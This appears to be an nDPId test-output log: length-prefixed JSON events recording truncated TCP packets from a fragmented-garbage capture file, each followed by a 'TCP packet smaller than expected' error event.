-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475365} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475376} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475386} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475396} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475418} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475429} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475439} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475451} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475461} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475471} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475481} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475491} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475502} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475512} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475522} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475552} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475563} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475573} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475584} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475594} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475605} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475615} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475625} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475637} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475648} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475658} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475668} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475679} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475689} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475700} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475710} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475721} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475732} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475738} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475749} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475759} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475770} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475781} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475792} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475802} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475812} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475823} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475833} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475844} 